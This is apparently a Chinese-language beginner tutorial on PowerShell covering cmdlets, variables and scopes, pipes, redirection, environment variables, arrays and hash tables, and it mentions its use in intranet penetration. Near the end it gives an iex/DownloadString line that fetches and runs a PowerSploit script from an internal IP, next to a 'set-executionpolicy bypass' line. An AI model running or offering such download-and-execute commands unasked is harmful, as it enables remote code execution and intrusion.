PowerShell,从名字可以知道,他首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样就是在里边敲命令(可执行文件)使用;

而Power就意味他是一个功能强大的shell,从面向用户而言,个人觉得其功能强大体现在以下几方面:

(1) 微软态度。微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现。

(2) 兼容性cmd。PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础上添加命令。

(3) 对标Linux。PowerShell使用了Linux Shell的思想,也就是所有的系统操作、配置,都可以在shell中敲写命令实现。

(4) 统一的命令格式和自包含的文档。基于前3点我们即可以说PowerShell已可与Linux Bash等一较高下。

当然powershell很好但也有着其劣势:

(1)Linux和Windows系统本身定位的差异。Linux的免费稳定使其牢牢占据了服务器领域,Linux Shell命令是没有很多统一格式的因此工程师们要费很大的劲去学习,而当Linux占据工程师的大部分精力并塑造完他们的习惯后,工程师们也许并没有那么多精神和动力去学powershell。

(2)来自Windows GUI的竞争。Windows上命令能干的事GUI也都能干也许效率慢一些但普通用户可不想去黑漆漆的界面敲感觉不受控制的命令。

Linux占据了服务器工程师的日常,而Windows自身强大的GUI对普通用户有天然的亲和力,所以powershell能期望的目标用户是谁呢,Windows服务器运维工程师好像没见过专门设有这职位。、

Powershell中可实现cmd的所有功能,反之则不可以;因为powershell可以直接调用.Net及COM对象而实现许多功能,所以黑客更倾向于在Windows中使用Powershell,并且各种花式调用在内网渗透中。

接下来便是Powershell的基础应用~~~

Powershell常用命令

1、Get-Command :得到Powshell所有命令

2、Get-Process :获取所有迚程

3、Set-Alias : 给指定命令重命名 如:Set-Alias aaa Get-Command

4、Set-ExecutionPolicy remotesigned :设置powershell可直接执行脚本文件 一般脚本文件以.ps1

结尾 执行脚本文件直接输入文件地址即可执行 脚本文件中叧写命令即可

5、Get-Help get-* :查询以get开头的命令 Get-Help service Get-Help Get-Command 获取

Get-Command命令的基本用法

6、Get-Member: 获取对象属性 如: $var | Get-Memeber 访问$var属性 直接$var.ToString()

Powershell变量定义

规则:不需要定义或声明数据类型,在变量前加$,变量可以是数字、字符串、特殊字符;

变量赋值:$var=123 $var=‘aaaaa’

取变量值:$var

变量赋值方法:Set-Variable var 100

取值方法: Get-Variable var

windows powershell学习_数组

清空值:Clear-Variable var

删除变量:Remove-Variable var

取多个变量如var1、 var2 、var3地值:

Get-Variable var*

获取当前时间:$date=Get-Date

当前时间加3天:$date.AddDays(3)

windows powershell学习_shell变量_02

Powershell变量的作用域

Powershell支持四个作用域:全局、当前、私有和脚本

$global:全局变量,在所有的作用域中有效,如果你在脚本或者函数中设置了全局变量,即使脚本和函数都运行结束,这个变量也有效;

$script:脚本变量,只会在脚本内部有效,包括脚本中的函数,一旦脚本运行结束,这个变量就会被回收;

$private:私有变量,只会在当前作用域中有效,不会贯穿到其他作用域;

$local:默认变量,可以省略修饰符,在当前作用域有效,其他作用域只对他有只读权限;


 

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充

 powershell命令和参数不区分大小写

1.1管道   #把上一条命令的输出作为下一条命令的输入

  windows powershell学习_作用域_03

注:通过ls获取当前目录的所有文件信息,然后通过sort-object 排序,默认升序

1.2重定向  #把命令的输出保存到文件中,‘>’为覆盖,’>>’追加

  windows powershell学习_作用域_04

 

注:查看内容可以通过type或者get-content查看

2.Powershell 查看可以执行的cmd命令(cmd /c help )

  windows powershell学习_shell变量_05

3.1变量

在powershell中变量名均是以美元符”$”开始,剩余字符可以是数字、字母、下划线的任意字符,并且powershell变量名大小写不敏感($a和$A 是同一个变量)

powershell一切皆对象,变量也是对象,通过$str(变量名) | get-member  查看变量所拥有的属性以及方法

  windows powershell学习_数组_06

查看正在使用的变量  ls variable: windows powershell学习_linux_07

3.2环境变量

Powershell把所有环境变量的记录保存在env: 虚拟驱动中,因此可以列出所有环境变量 。一旦查出环境变量的名字就可以使用$env:name 访问了。

windows powershell学习_作用域_08

注:通过查找所有环境变量可以得到计算机名,当前所属域的域名,用户名等等

 

通过$env:属性名访问  windows powershell学习_linux_09

 4.1数组

  1.命令返回数组   #当我们把一个命令的执行结果保存到一个变量中,可能会认为变量存放的是纯文本。

但是,事实上Powershell会把文本按每一行作为元素存为数组

 windows powershell学习_linux_10 

  2.创建数组:

  在Powershell中创建数组可以使用逗号,创建空数组使用@()

  windows powershell学习_作用域_11

  3.访问、添加数组:  #添加数组使用"+="

  windows powershell学习_环境变量_12

4.2哈希表

  1.创建哈希表

   之前使用@()创建数组,现在使用@{}创建哈希表,用";"把每个值分隔开,使用哈希表的键访问对应的值

   windows powershell学习_环境变量_13

  2.修改、增加、删除哈希表

   windows powershell学习_作用域_14

5. 常用命令

 get-help  查看帮助

 get-command 查询命令

 get-member  查看对象的成员信息

 get-verb  获取所有动词

 get-content 或者type  查看内容

 $psversiontable   查看powershell版本 

 ls env:    查看所有环境变量 

 ls alias:  或者get-alias  查看所有的别名 

 get-executionpolicy  查看脚本执行策略

 set-executionpolicy bypass  设置可以执行脚本

 . ./test1.ps1   把test1.ps1加载到内存  注意两个点之间有一个空格

 iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1')    iex远程下载脚本执行    

 在字符串前面加"&",可以执行命令或者启动程序